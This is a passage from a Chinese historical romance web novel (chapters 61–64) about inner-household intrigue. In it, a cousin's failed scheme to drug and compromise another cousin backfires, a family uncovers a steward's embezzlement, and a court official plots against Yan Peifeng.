沈云楹在慈晖院说笑一阵,就想去静远斋见见母亲。可是,沈云蔓先一步拉住沈云楹,“三妹妹,我们该去看看大姐姐?我们三姐妹大半年没有聚过了呢。” 又转头去看沈大夫人,“大伯母,大姐姐还在揽月阁吧?” 沈云蔓神色分明是关心,但是那语气,就莫名让人想起沈云芝私逃出门的事。 沈云楹看看沈云蔓,又瞧瞧沈大夫人,大房二房最近又有什么不对付吗?大喜的日子,沈云蔓怎么阴阳怪气落沈大夫人和沈云芝的脸面。 沈大夫人养气功夫好,没露出丝毫异样,语气都是温和的,“云芝还病着,两个妹妹能去探望,陪她解解闷。云芝高兴还来不及呢,大伯母给你们送一碟子点心去,还有新炸的鹌鹑,皮酥骨脆。” 沈云楹还没开口说去不去。 沈老夫人就一锤定音,“你们关爱姐姐,这就去吧。”一摆手,叫李嬷嬷亲自送她们去揽月阁。 事已至此,沈云楹只能陪着去探病。 揽月阁在嘉禾院的左边,是个雅致小巧的院子,这里被沈大夫人和沈云芝精心布置,刚进来就能感受到氤氲书香。 博古架上摆着一副琴棋书画的雕刻,全用的梨花木,雕工精湛。 沈云楹本以为会看到病恹恹的沈云芝,谁知,沈云芝就站在屏风前等着她们,轻飘飘道:“两位妹妹来了。” 她穿着天青色的家常小袄,屋内暖和,不必加大氅和披风,一眼就能看出沈云芝纤瘦的身形。 沈云楹心里暗惊,不是为了沈云芝的瘦弱,而是她从沈云芝身上感受到一股暮气,以前沈云芝总是带着一股傲气,是身份、才学给她的底气,对沈云蔓和沈云楹两个妹妹自然流露出清高和指点的意思。 沈云蔓和沈云楹都唤一声大姐姐,跟着进去里间坐下。 沈云芝亲自给她们倒茶,丝毫不客气,“你们看也看过了,没事就回咏归院和静远斋。” “呵呵,大姐姐,妹妹才来,你就赶我们走?”沈云蔓笑着端起茶杯,“揽月阁的茶还和以前一样。可惜,物是人非。” 她边摇头感叹,边起身抱着沈云芝的胳膊,“姐姐,你说是不是啊?”余光还盯着沈云楹,趁着两人不注意,悄悄用袖口扫过沈云芝的茶杯,将细白的一撮粉末放进去。《 》 60-70 第61章 捉奸在床 沈云楹秀眉微蹙, 她觉得今日沈云蔓不太对劲,亲亲密密挽着沈云芝胳膊这种事,只有需要展现沈家姐妹感情和睦的时候才会出现。 于是, 她提高警惕,留心盯着沈云蔓的神色动作。可惜晚了一步, 沈云蔓已经不着痕迹下手成功。 沈云芝不自在地把手臂往回撤, 疑惑看一眼这个笑吟吟的堂妹, 上次沈云蔓来揽月阁,话语中全在夸耀永安侯府, 那种得意洋洋、幸灾乐祸的目光,沈云芝深深记得。 她不后悔与顾郎相约远走。但她也认命,能为顾郎冲动一次,第二次沈云芝已没了决绝果断。 沈云芝再舍不下父母, 他们心疼又失望的眼神,刺疼她的心。她幼承庭训,饱读诗书, 心底亦是不认可与男子私自奔逃之事。 因而面对两位堂妹,沈云芝心下有愧疚。沈云蔓之前在她面前炫耀, 她都不当一回事,甚至说服母亲, 不用跟二房计较。 “我去岁自制的梅花茶,二妹妹喜欢,只管拿一匣子回去。”沈云芝态度大房,吩咐丫鬟秋霜去包茶叶。 沈云蔓不客气,“大姐姐要送,我就接了。说起来,我夫君喜梅, 冬日总是要去赏梅,等他看到我的梅花茶,指定欢喜。”扭头看着沈云芝,端起眼前的茶杯,轻声问:“大姐姐,这茶带回永安侯府,我夫君不会认出来吧?” 听着这阴阳怪气的话,沈云楹倒吸一口凉气,又挺直身板,她也想知道!沈云芝给章兴宇送过梅花茶吗? 梅花茶普遍,但个人的制艺不同,味道有差别,沈云芝的手艺总是过关的,还带上一丝特色。 章兴宇尝过,应该能品出来? 沈云芝下意识盯着手边的茶,被妹妹这么问到脸上,她羞愤恼怒。沈云蔓嫁与章兴宇,而自己曾和章兴宇谈婚论嫁,自然不是毫无往来。 “二妹妹多想了,我的茶要送谁,当然随我心意。”沈云芝嗓音淡淡。 沈云楹挑眉,言下之意,章兴宇不配。 果然沈云蔓柳眉竖起,冷声回道:“那姐姐可得抓紧时间多喝几杯,别跟孟昭文的孤本一样。” 永远失去争抢的资格。 她笃定地看着沈云芝,以后下嫁寒门,一辈子陪着丈夫在八九品官位上熬着。 沈云蔓率先举起茶杯,视线看向沈云芝和沈云楹,亲眼盯着沈云芝喝下,偷偷与帘子前面侍立的秋霜对视一眼,见她微微点头,心跳都加速半拍。事情成功了一半。 自从沈云芝回太师府,沈云蔓一方面是担心大房母女再次打永安侯府的主意,一方面是想知道沈云芝最后能嫁给谁,便极力劝服沈二夫人,大方撒钱又以家人要挟,恩威并施收服揽月阁的一等丫鬟秋霜。 若是沈云芝从前的一等丫鬟,从小跟着沈云芝长大,忠心耿耿,她们绝做不成这事。但去年那两个贴身丫鬟帮着沈云芝出逃,被沈大夫人撵去庄子做苦力,现在的两个丫鬟秋霜,冬云是临时挑上来的。 去岁十一月开始,沈大夫人和各家交际的时候,主动提起沈云芝病愈,言语中透露出为女儿择婿的意思。可惜不太顺利。 秋霜没送来什么要紧消息,直到十天前,秋霜夜里偷偷去找沈二夫人。她下午听到冬云和沈云芝说话。 冬云说:“要是二姑娘没那么快嫁过去,武安侯世子夫人的位置,肯定还是姑娘您的。” 大姑娘才回老家养病几个月,这么好的婚事就被二姑娘抢走了。冬云想着自己是陪嫁,要是大姑娘嫁得好,自己才能好。 可是秋霜不知冬云内心的想法,捡了她的话原原本本告诉沈二夫人。 “当时大姑娘嗯了一声。到了晚上,大夫人过来,两人说了小半个时辰的话。大夫人看着挺高兴,脸上带笑。” 就是这句话,让沈二夫人和沈云蔓以为大房不甘心,要夺回来原本的亲事。于是母女两个打算先下手为强。 沈云蔓目的达到,便不想多待。而沈云楹想得更多,她直觉这回两位堂姐都要搞事,又和以前一样对上了。 速走,别掺和。 走出揽月阁,沈云楹就说自己要去静远斋探望生病的母亲,沈云蔓客套几句,两人就分道扬镳。 静远斋年味儿很足。 崭新的大红对联、年画、门联,还有福字,沈云楹远远就看得出是蒋文笙的笔迹。一路走进里间,沈云楹的脚步快,几乎和丫鬟禀报的声音同时到。 蒋文笙靠在床头,面色有些苍白,精神却好,早早等着沈云楹。见到沈云楹,立刻笑道:“来了?快进来坐。” 沈云楹三步并两步上前,先脱下大红羽纱牡丹纹斗篷,再坐到床边,“娘,你今日感觉怎么样?屋里炭火足,您也不能只穿这么少啊。” 蒋文笙下身有被子,但上身只有织锦的单衣,不薄,但也不暖啊。 蒋文笙伸出手碰了碰沈云楹的手背,“感受到没有?我的手比你的暖多了。” 感受到热乎乎的暖意,沈云楹就不再说了,母亲有分寸就成。 “慈晖院很热闹?都说了些什么?”蒋文笙问。 沈云楹摇摇头,“刚刚去揽月阁探望大姐姐,”她顿了顿,“感觉我那两个姐姐都有点,奇怪?” 蒋文笙跟着回忆:“之前沈云蔓去看过两三次?我没留意那边的事。不过,我旁观了这么久,真看出一件事。大嫂似乎想把云芝嫁回温家。” “温家?”那是沈大夫人的娘家,沈云楹好奇问:“温家知道那件事吗?” 蒋文笙:“我怎么知道?温家的几个夫人都不是简单的,总会有些猜测,就看大嫂的手段了。” 话落,丫鬟送药进来,“三夫人,该喝药了。” 沈云楹就看着另一个丫鬟端着一碗生姜青柑汤放在自己面前,她不可思议看着蒋文笙,“您可真是亲娘。” 蒋文笙笑道:“你今日奔波好几个院子,喝了吧。免得着凉。” 母女两个,一个喝药,一个喝姜汤,全都一饮而尽,再从碟子拿起糖渍梅子,酸酸甜甜的,立时将味道压下去。 蒋文笙又问起燕培风怎么不来静远斋,沈云楹便解释是自己的意思。 门外响起咚咚的脚步声,又快又急,银筝匆匆进来,“三夫人,夫人,大消息!问梅苑那边出事了!” 沈云楹抬起头,忙问:“什么事?” “二夫人的娘家侄女和大老爷的学生杨凯方被捉奸在床啦!” “哈?” “咳咳!” 沈云楹和蒋文笙同时双眼发亮,这可真是一出好戏。 大房和二房这算是亲上加亲吗? 沈二夫人这位娘家侄女姓王名娴君,父母双亡,被王家叔伯养大。去年沈云蔓出嫁之后,沈二夫人接她来沈家,说是唯一的女儿出嫁,膝下寂寞,叫侄女来作伴。 沈云楹和蒋文笙私下议论,都觉得沈二夫人想撮合娘家侄女和二房庶子,进一步掌控庶子的后院。 所以,今日到底是大房算计二房,还是二房算计了大房? 沈云楹眼前闪过沈云蔓违和的举止。 现在过去问梅苑已经晚了,赶不上热乎的。沈云楹还是要问问,“问梅苑那边怎么样?要过去那儿还是去慈晖院?” 银筝喘匀气,“老夫人发话封了问梅苑,不许消息泄露。现下人都往慈晖院去。要不是奴婢人缘儿好,这会儿还得不到消息呢。” 沈老夫人宝刀未老,一声令下,后宅都老老实实的。 “但是撞破的人有咱们老爷和章世子。” 沈云楹明白了,这事儿瞒不住。除非沈家不在乎颜面,也不在意燕家和章家的态度。 沈云楹等了一会儿,没人来叫她去慈晖院,她就懒得去看热闹,省得沈老夫人邪火冲她发。只能嘱咐蒋文笙,“娘,您留意着,等她们商议出结果,差人来告诉我。” 沈家出了这种事,一个大老爷的学生,一个二老爷的内侄女,两个都是客,结果在沈家遭遇这种事。沈家必须为这两个客人做主。 归宁的沈云楹和沈云蔓被慈晖院的李嬷嬷委婉示意,今儿家里有事,下回抽个时间再回来吧。 沈云楹当场应下,跟蒋文笙告别,嘱咐她注意身体,早日康复。她刚出太师府,沈云楹就拉着燕培风确认,“夫君,你们真的把人捉奸在床了?” 杏眸灵动,亮晶晶的,全是求知欲。 燕培风面色古怪,看了沈云楹一眼,再次肯定自己当初的明智。后院平静安生很重要啊。 “勉强算吧。两个昏迷的人,能做什么?”燕培风唇畔微弯,这件事明眼人都知道是算计。 至于内情如何,那就是沈家的事。燕培风没兴趣探知。他不禁感慨,饶是沈太师为官多年,谨慎勤勉,内宅依然风波迭起。 沈云楹听到个中内情,眼眸睁大,这可真是,夹在两房斗争中两个倒霉蛋,他们凑到一起不知道结果如何。 别管清醒还是昏迷,被那么多人撞见同睡一床,这门亲就是定下了。 沈云楹忙让燕培风从头开始说,到底是怎么去问梅苑的? 问梅苑在前后院中间,从前院过来,有一条路直奔问梅苑。而从嘉禾院揽月阁出发,也不过走半刻钟,离得很近。 这也是为什么沈云蔓会选在问梅苑算计沈云芝的原因。 “娘,你不是说安排好了吗?人怎么从沈云芝变成王娴君?”沈云蔓没有像沈云楹一样离府,抽空拉着沈二夫人悄声问。 她亲眼看着沈云芝喝下了迷药,一贴药下去,人就会昏迷不醒。 沈云蔓和沈二夫人计划让沈大老爷的学生杨凯方娶了沈云芝。孤男寡女,睡在一处,被人撞破。这事儿就成了。 怕全是沈家人不保险,特意带上燕培风和章兴宇作见证。有了这两人,沈家就不能静悄悄地把事情压下去。 为了促成此事,沈云蔓母女动用了在前院唯一的钉子。 “这我怎么知道!”沈二夫人自己也气呢,捏着帕子道:“我好不容易在前院埋下的人,就这么浪费了。” 就是这个小厮,对沈太师一行人说杨凯方冒昧相邀去问梅苑谈论诗文,又偷偷去跟杨凯方说沈大老爷唤他去问梅苑,要同沈家两位女婿赏梅切磋才学。 事情一办完,小厮就触柱而亡,来个死无对证。 沈二夫人压着嗓子道:“娴君那丫头,唉,我们的打算是不成了。” “那没什么,京城闺秀多的是。眼下的事更重要。娘,秋霜呢?难道是她背叛了我们?”沈云蔓忍不住朝大房母女的方向看去,企图看出什么来。 但是不论是沈云芝还是沈大夫人,都神色如常。 沈二夫人紧张地揪住女儿的胳膊,抖着手问:“你祖母人老成精,不会被她查出来吧?” 第62章 拜年 到慈晖院前, 有嬷嬷出来阻拦,说老夫人发话,任何人不能进去。 沈二夫人心中忐忑, 沈云蔓也一样,她仔细捋过一遍整件事, 想要寻出是哪儿出了纰漏。她自觉没有大疏漏, 就是秋霜, 为了家人的安全也不敢攀扯她们。 现在要紧的就是应付过沈老夫人。 沈大夫人轻蔑地看一眼二房母女,沈家当家主母是她, 王氏和沈云蔓居然敢把手伸到揽月阁。没有把王娴君送到二老爷床上,就算是看在同为沈家人份上手下留情了! 沈大夫人转头去看沈云芝,她为这个女儿操碎了心,好不容易让她回到京城, 可惜沈云芝身在心不在。 而沈云芝面上平静,心底却翻腾,姐妹间有摩擦有矛盾, 但都是小节。若不是口中还有苦涩的药味,手腕留有针灸的轻微刺疼, 她都不敢相信,沈云蔓竟然使计害她一辈子。 秋霜的供词仿佛响在耳侧。 “奴婢听冬云说, 武安侯世子夫人的位置应该是姑娘的才对。姑娘您,您答应了一声,接着大夫人又跟您闭门详谈。” “二姑奶奶说,等您昏睡过去,就抱着您去隔壁问梅苑。杨公子是大老爷的学生,前程尽有的。奴婢为了父母家人,只能听二姑奶奶的话。奴婢知错, 一切都与奴婢的家人无关,请大夫人大姑娘饶命!” 沈云芝只觉可笑。 沈云蔓是被什么冲昏了头?她要怎么抢武安侯世子夫人的位置?杀了沈云蔓,再嫁过去做继室?她要是看得上章兴宇,当初何必逃婚? 枉沈云蔓自诩聪明,这么简单的道理都想不通。 沈云芝仔细回忆冬云何时说过这话。回府不到三个月,沈云芝一直很消沉,沈大夫人时常来揽月阁聊天。她对这事儿完全没有印象。 最后还是沈大夫人提醒,沈云芝才想起,那日她在想如何劝说母亲放过顾郎,对冬云说的什么话根本不在意,就是在敷衍人。 得知今日算计源于这么一件误会,沈云芝都不知该说什么。她深深看了一眼沈云蔓,永安侯府章兴宇就这么好? 察觉到沈云芝打量的视线,沈云蔓有些心虚地撇开头。 这时,李嬷嬷从正厅走出,微微福身,目光复杂地扫过沈云蔓,很快收回视线,平静道:“大夫人,老夫人想请大老爷做媒,杨公子与王姑娘天作之合,亲事还需尽快定下。明日二夫人回娘家,就把王姑娘的庚帖带回来,之后就在咏归院养病吧。” “什么?”沈二夫人惊叫一声,“李嬷嬷你是不是传错话了?我又没病,养什么病?” 沈云蔓忙拉一把沈二夫人,但是没拉住,沈二夫人已经窜到李嬷嬷跟前质问。 李嬷嬷微微一笑,“二夫人,老夫人说您要是敢问,厨房的差事还是交给大夫人打理,养病切忌劳心劳神。老夫人还有一句话,让您记住,只此一次。” 沈二夫人心头咯噔一下,明白沈老夫人果然精明得很,年纪大了脑子还活泛,一下子就看出她在背后的动作。 只是,她瞪视沈大夫人,中间插手的人不是只有她,婆母怎么这么偏心? 不等沈二夫人再开口,沈云蔓忙说:“李嬷嬷吗,我们想见祖母一面,真的不能通融吗?表姐的亲事,还得我母亲出面走动才好。” 沈大夫人笑道:“云蔓放心,伯母料理得了你的婚事,杨公子和王姑娘的婚事,我们沈家只是当媒人,无需插手太多。我顺手就办了。” “老夫人也是这个意思呢。”李嬷嬷丝毫没有妥协的意思,就这么站在门前拦人。 慈晖院的事没外传,但谁让蒋文笙早早在沈老夫人的院子里买通人传送消息。这事儿当天晚上就传到静远斋,第二天就传到沈云楹这里。 “所以,这事儿是二姐姐算计,反被算计回去?”沈云楹听着消息,沈老夫人虽然放权给儿媳妇,但在沈家后院经营几十年,想查什么事,速度还是很快的。 银筝点点头,“是吧?良嬷嬷还说,揽月阁的丫鬟秋霜,昨晚得了风寒,被挪出去了。” 沈云楹立刻想起昨日在揽月阁里间,就是秋霜伺候的。那可是沈云芝的大丫鬟。沈二夫人居然能收服她,可见下了功夫。 “大老爷训了二老爷一顿,让他管一管妻儿。声音很大,前院许多人都听到了。”银屏补充道,“杨公子是大老爷的得意门生,娶大姑娘也不错,怎么大老爷这么生气?” 沈云楹摇摇头,她也不知道啊。若是没有发生去年私逃那件事,杨凯方配不上沈云芝,但是现在下嫁给沈大老爷的学生,似乎是个不错的选择? 不过沈大老爷和沈大夫人不愿意,沈云楹才懒得操心。 “二伯被兄长指着鼻子骂,回去不得跟二伯母吵?” 银屏:“不止,还吼了二姑娘,让她回永安侯府伺候公婆丈夫,没事少回娘家。” 沈云楹刚喝进口中的茶差点喷出来,“二伯真的这么说?” 她印象中,二伯斯文儒雅,话也少。听说他开始不喜欢待在工部,后来喜欢上做器物,反而不想离开。所以,在翰林院散馆后就在工部没挪过窝。 “那还能有假?今儿二夫人回娘家,脸上的脂粉比唱戏的还厚。”银筝双手在眼下划过,示意眼妆最浓,“也不知道能不能讨来王姑娘的庚帖。” 王娴君以前来过沈家,只是二房的亲戚,和沈云楹这位三房的姑娘没说过几句话。但好歹是一位清清白白的姑娘,名声有瑕,不知杨凯方是什么样的人,会不会介意。 到底是别人的事,她与王娴君又没交情,沈云楹跟着感慨一番,就放下了。 娘家的热闹,果然就是多。燕家人口少,就省心多了。 然而,世事无常,打脸来得太快。 今儿是初三,留在京城的范州本家族人来拜年。 当初进京庆贺燕培风和沈云楹成亲,范州族人派来一位族老和三位年轻人。年前,族老燕荣磐回去范州。长辈不在,燕培风和沈云楹就不用去老宅拜年。剩下三个小辈,燕培风最大,是他们的堂兄,只管在公主府等着燕坤风、燕祯风和燕佩瑜上门拜年。 两辆低调的马车内,燕佩瑜满脸纠结,还是不安地掀开车帘,对隔壁的道:“大哥,三哥,我真的要跟堂嫂说吗?” 她才见过堂嫂三次,一次是婚后见亲,一次是堂兄与堂嫂从张秋镇回来去探望,最后一次是中秋。 两人就是客客气气的说几句话而已啊。 燕坤风和燕祯风同坐一辆,此时他们的马车车帘也被掀开大半。 燕坤风认真点头,“族中长辈和父亲同时捎信来,就是让我们告知堂兄和堂嫂。” 托燕培风的福,燕坤风和燕祯风兄弟进了国子监,明年春闱更有把握。就这一点,他们也应该提醒一声。 “有我们在培风堂兄面前提几句。”燕祯风对妹妹宽容,低声道:“堂嫂深居简出,想必性子内敛。要是你不好提,那便算了。听说堂兄堂嫂夫妻感情不甚好,说了也不一定有用。” 燕坤风朝弟弟头上一拍,“谨言慎行,少带坏妹妹。” “咱们在京城大半年,每次节礼是不是堂嫂做主?”燕坤风又扬起下巴,“门房,之前还没有这个人,中秋之后就多了他。那是堂嫂的陪房。” 燕祯风和燕佩瑜受教点点头。堂嫂能在公主府当家做主。 兄妹三个达成一致,两辆马车也来到公主府门前。 方才被燕坤风指着的门房小厮忙迎上来,笑呵呵道:“两位公子,姑娘来了,我们夫人刚还差人来问呢。”。 第63章 清理门户 燕坤风和燕祯风跟着小厮, 一路来到前院书房。 案桌右上角的博山炉氤氲着清新的檀香,燕培风站在一张字帖前赏字,等两人进来, 温声笑道:“坤风、祯风,你们来了。” 燕坤风和燕祯风并肩上前, 拱手道:“堂兄。” 燕培风颔首, 先是考校两人学问, 听完回答,脸上的笑意更深两分, 两人皆言之有物,燕坤风文风务实,燕祯风偏花团锦簇,端看考官喜好哪一种, 谁的名次就高些。 “我年前与国子监教谕聊过,你们所在的乙班该教的都教过,建议你们去下场一试。今日听了你们的回答, 已有火候,三月可以下场。”燕培风和煦如春风, 对范州本家能再出两位进士心里欢喜,同宗同族, 族人出息,双方互惠互利。 燕坤风和燕祯风对视一眼,脸上皆是喜色。之前燕培风没问过他们的功课,他们本是带着心事而来,又遇突然考查,还担心表现不好。 得到燕培风的肯定,他们对三月的春闱更添三分信心。 燕培风看着眼前只比自己小一两岁的堂弟目露欢喜, 告诫道:“还需多加勤勉。切勿落入同进士的名次。” 那日与国子监教谕喝茶,燕培风问过燕家两兄弟和蒋高鑫的成绩,也亲自看过他们的文章。如无意外,蒋高鑫应会名列前茅。 而这两人多半考不到前面的名次,尽量稳在中游,最好不要落入同进士。官场上讲究名分,同进士,如夫人,将来仕途升迁带着同进士的履历,很难得到提拔。 听出燕培风的好意,燕坤风、燕祯风齐齐应声,“多谢堂兄指点。” 既考过学问,燕培风就问起他们的父亲、以及族中长辈,得知族中一切安好,才安下心来。 忽然,燕坤风站起身,眼神坚定道:“堂兄,今日登门,除了拜年,还有一件事,父亲叮嘱我们一定要同你说一声。” “哦?何事?”燕培风早就留意到燕坤风和燕祯风脸色不对,一会儿犹犹豫豫,一会儿欲言又止,显然是有事,但他只是远方堂兄,认识时间又短,便等着他们开口。 “上月,燕老管家的孙子燕恩在外面与人吃酒,醉后曾言,范州城内最大的酒楼醉仙楼是他的,别人孝敬过来,他学老东家,照收不误。” 燕坤风的声音不疾不徐,响在安静的书房,仿佛裹挟着屋外的风雪,吹灭炭盆的热气,让屋内的温度生生降了几度。 燕坤风说得委婉,其实意思很明显。暗示燕培风清理门户。 燕老管家跟着燕家祖父母去范州定居,继续伺候两位老人家。因为燕老管家一辈子在燕家,忠心耿耿,又与燕祖父主仆情深。在老管家的孙子出生时,燕祖父消除他的奴籍,还答应送他去学堂读书,将来或可参加科举。 老管家感念主家恩情,就为孙子取名燕恩。 燕培风凤眸漆黑如墨,又如鹰隼锋利,温润的气势瞬间消散。 “事后燕恩说是醉后胡言。可我父亲与几位族老不放心,特意去衙门查了一下,发现两月前,契约文书的确换了人,主家姓耿。燕恩的妻子便是耿家女。”燕坤风心跳如擂鼓,顶住燕培风的灼灼目光,继续道。 所谓疏不间亲。 范州本家与燕培风的来往浅,而燕老管家全家与燕培风三代主子都有情分。再者,现在是族中和燕坤风他们依靠燕培风,这虽是好心提醒,但有点出燕培风治家不严的意思,很可能招燕培风不喜,埋下隔阂。 燕培风凝眉颔首,“我知道了,劳烦堂叔和族老挂心。” 同时,铮然居也说起这事。 燕佩瑜生得一张瓜子脸,五官明媚,身穿一件胭脂红素梅襦裙,喜庆又典雅。她刚刚和沈云楹拜完年,又陆陆续续说了能想到的事,茶过两盏,她捏紧双拳,垂眸不语。 沈云楹听得燕佩瑜从京城的过年装扮到范州的过年习俗,说了一大通,这姑娘以前没那么多话啊。她留心一看,燕佩瑜有话想说? 沈云楹嫣然一笑,柔声道:“妹妹不是外人,有话只管直说。”绕绕弯弯的,咱两都累。 到了燕佩瑜这里,她的顾虑和两位兄长是一样的。女子料理后宅,比男子还注重家宅名声。 燕佩瑜鼓起勇气道:“堂嫂,你看出来了?那我就直说了。” 除了醉仙楼,燕佩瑜说了更多后宅夫人往来之事。 “燕恩的夫人耿氏常常与范州官眷往来,文武都有,腊月里更是宾客如云,一日都不曾停过。燕恩是良民,他姓燕但不是族中人,族里不好管。我母亲说,燕恩的妹妹还许给通判家做二房,元宵后就进门。” “年底燕老管家做寿,我母亲跟前的嬷嬷去送礼,还在耿氏院子里看到一个白玉寿桃盆景,她说是堂嫂赏赐给她太婆婆的。”燕佩瑜抬头看一眼沈云楹,小声道:“但是这个盆景,嬷嬷陪着我娘去富商许家的时候,亲眼见过,是许家定做的,盆边的字样一模一样。” 言下之意,那就是同一件。不是仿品。 沈云楹越听越凝眉,听燕佩瑜的意思,祖父母那边的下人阳奉阴违,私下动作不少。余光瞥见燕佩瑜有些不自在,她感激道:“妹妹这么说,想必是真有这事,我等会儿就和夫君说一说。” “妹妹和族中的好意,我与夫君感激不尽。我们在京城,祖父母在范州,还要劳烦族中多看顾。这次刁奴闹事,你能来提醒一声,不让他们胃口越来越大,闹出不可收拾的大事来,嫂子多谢你。” 沈云楹说得真心实意,见燕佩瑜大松一口气的模样,她不禁想这个小姑娘有点可爱。 留客用午膳,等燕佩瑜三兄妹离开,沈云楹就问银屏,“送去范州的礼单和那边送来的账册都找来了?” 趁着空隙,沈云楹就吩咐银屏找出京城与范州那边的往来,包括燕家祖父母和那边下人的往来,下人主要是燕老管家一家。因为他最有体面,最受器重,每年备礼的时候,沈云楹都会命人送一份过去。 嫁进燕家半年多,沈云楹没去过范州,对范州那边压根没安插人手,更是不了解燕老管家一家的人品。这事,还得寻燕培风商量才好。 银屏回道:“夫人,奴婢去账房的时候,碰上思齐了,他奉老爷的命去取账册。奴婢就只拿回后院的那部分。” 沈云楹点点头,反正都要去见燕培风,她站起身,“拿上账册,我们去一趟前院书房。” 因为燕家祖父母要回范州养老,燕家特意在范州置产,有铺子有庄子,所有利润都归燕家祖父母那边。只多送一份账册来京城核对。 所以和范州有关的账册和往来单子,满满的堆了半个书房。 沈云楹进门看到整整五大箱子的蓝皮账册,不禁倒吸一口气,这都要看完吗?有点多。 “夫君。” “你来了?”燕培风抬头,招手让沈云楹坐在对面,“正好和我一起看看。” 沈云楹踏进书房,拿起一本,轻声说道:“我不擅长看账册。”她指着身后的两个丫鬟,“她们速度快,是我手底下的小账房女先生。” 她的速度慢,但底下有能干的人。 燕培风扫一眼,一个是银屏,还有一个陌生的丫鬟,应该是沈云楹的陪嫁。他示意思齐,“带她们去隔壁。” 燕培风看着沈云楹,“我在隔壁设了一个账房。多加一个屏风,男女分开。” “我要派人去范州一趟,你身边也遣几个人跟过去。” 第64章 资敌 “那边负责后院的是老管家的儿媳妇。”燕培风说出目的, “你的人去接手内院。祖母年纪大了,身边的丫鬟压不住人。” 沈云楹迟疑:“祖母会不会有不舒坦?”这样做下她老人家面子啊。 燕培风笃定道:“不会。祖母性情随和,不计较这些。” 想到正是因为祖母宽厚, 才纵得底下人愈发贪心不足,燕培风眸光变冷, 为了安沈云楹的心, 就道:“我给祖父母去一封信。” 沈云楹当即应了, 不怪沈云楹多心。想想沈老夫人的放权不放手的做法,就算先前燕祖母和蔼慈爱, 一旦涉及燕祖母的利益,她肯定选择小心应对。 “要不要接祖父和祖母来住一阵?”沈云楹提议,一个是直接把人隔开,不叫燕老管家求情。第二是两位老人家年纪不小, 燕培风该尽尽孝心,每年接来住一阵,沈云楹也能接受。 燕培风紧绷的面容露出一丝笑意, 他猜到第一层意思,没有燕祖父掣肘, 燕培风处置起来更得心应手。可他有另一层顾虑,“夫人的打算我明白。只是, 祖父和老管家主仆几十年,他不会离开的。” 燕祖父一定要亲眼看到证据,亲手处置旧人。 燕培风的计划是祖父在前,他在后,只负责补刀。 沈云楹代入燕祖父想了想,若是银屏或银筝犯事,她势必要自己处置, 便没有异议。 屋内的账册全都搬去隔壁的临时账房,燕培风就拿过与燕老管家、燕恩一家的礼单往来,当看到杭州、百年乌木手串的时候,不禁挑了挑眉。 燕培风和沈云楹对如何处置燕老管家没有提前商量,但不谋而合。 老管家没有功劳也有苦劳。一边派人去查他,一边找做假账的证据,最好直接以偷盗主家财物之名定罪犯事之人。 燕恩敢收醉仙楼,那么他们必有欺上瞒下,中饱私囊,欺压百姓。这些事就像一条藤上的瓜,犯一就连带出一串。 燕恩已经脱籍,不是燕家仆从。先料理了祖父,孙子满头的罪名,随便一个都能解决他。 沈云楹就取过未嫁进来之前,燕恩一家的礼单和杨嬷嬷的回礼。把一年份的看完,都没什么特别的地方。 她看得累了,起身为两人倒杯热茶,接着双手捧着慢慢喝,歇一歇,不急着干活。 燕培风接过热茶,突然想起还有一事,“明日骆锦焕儿子的满月礼,你送厚一点。”又对沈云楹解释,“母亲和福宜姨母姐妹感情好,我和他是多年好友。” 沈云楹原先准备的是金锁金手镯金铃铛等等,都是寓意吉祥平安,适合婴儿的东西。 年初四,福宜公主家年宴和孙子满月宴一起办。 “好啊,那就添一点金玉类的?”这就是吩咐一句话的事,沈云楹早知道福宜公主与嘉荣长公主交好,所以这份礼不薄,但是对燕培风与福宜公主之子骆锦焕相交多年这事倒没听说过。 燕培风却说:“骆锦焕好武,送些弓箭、棍棒类的吧。” 沈云楹立即抬头看他一眼,指着屋外,“你瞧瞧现在什么时辰,师傅彻夜赶工也做不来。” 她想到一个好办法,笑问:“你幼时有没有这些玩具?”嘉荣长公主和驸马疼爱儿子,燕培风的东西都是上好的。 燕培风轻笑一声,“事情多,是我提醒得晚了。我让人去库房找,直接添进去。” 这还差不多。 两人有一搭没一搭的说着话,快到亥时,沈云楹就先回铮然居。 —— 户部侍郎钱家。 今年钱家十分风光,上门送贺礼递帖子的人络绎不绝。尤其是年初二这日,二皇子亲自送钱侧妃回钱府归宁,虽然二皇子人只在门口和钱家老爷少爷们说了几句话,没进府坐坐。但二皇子的态度已然摆明,钱侧妃的受宠程度可见一斑。 钱侧妃以前的受宠是空中阁楼,随着儿子的出世,便彻底站稳脚跟。侧妃的娘家不是正儿八经的亲戚,皇孙的外家却不同。钱家在京城的地位提升一大截。 从初二下午开始,钱府门房小厮收打点钱都收到手软。 淡定如官场老油条钱兴斌,都能日日见笑脸。等到年初四这日,钱侧妃送来消息,宫里太医诊断,太子妃这一胎为女。 这对钱家来说,更是一个好消息。 门客许先生捋着胡须,含笑道:“恭喜大人,东宫久无子嗣,二皇子更进一步的希望便多一分。” 剩下的话就不用说了。众所周知,二皇子不喜二皇子妃,就算二皇子妃育有一子,可是她的娘家已经无人,只比孤女好一些。若不是皇上皇后念旧情,决不能嫁给二皇子。 但对于钱家来说,有这么一位二皇子妃,是大大的有利。钱侧妃有宠爱有儿子有家世,就差那么一点名分。 若是钱家能助二皇子登上大位,到时一个皇后之位手到擒来,太子之位也能争取一二。 钱兴斌却摇摇头,“二皇子似乎并无争意。”不管是他的观察,还是钱侧妃的试探,二皇子都没有流露出这层意思。 “东宫才显露颓势,时间且长。钱侧妃之子还小,大人尽可慢慢筹划。”许先生是冲着大事而来,他心知时间还长,慢慢等慢慢筹谋便是。 钱兴斌从白玉罐中取出黑子,在光滑的棋盘中落下一子,“许先生,该你了。” 夺嫡这盘棋底下汹涌,还没摆到明面上。他在犹豫,要不要当第一人。 许先生拿起白子,随意放下,心思转到他处,“大人,范州那边来信,计划顺利。再过几日,安排好的人就能进京。” 钱兴斌缓缓叹一口气,“燕培风的确是一员好将,去年户部秋税被他管得密不透风,盐税茶税刚动手脚就被看出来。可惜他与太子交情深厚。若是二皇子能收服他,我们就不用费这番功夫。” 许先生吹捧几句钱兴斌的睿智精明,远远不是燕培风能比的,接着道:“所谓福祸相依,二皇子身边人越少,您的地位就越不可撼动,”但话锋一转,“户部敬着燕培风,不过是看在皇上的面子上。可是,这样的事可一不可再,南边接连来了几封急信。” “趁着这个机会,让燕培风滚回翰林院。”钱兴斌下结论,抬手就吃了许先生一子。 “大人高明。”许先生佩服道。 许先生想起新收下的妾室杜冰淼,面上闪过满意之色,不着痕迹地提醒道:“新投来的唐家,大人可有进一步安排?” 钱兴斌对皇商心中有数,唐家这些年不功不过,好些人都盯着皇商的位置,唐家是走了他夫人的路子。 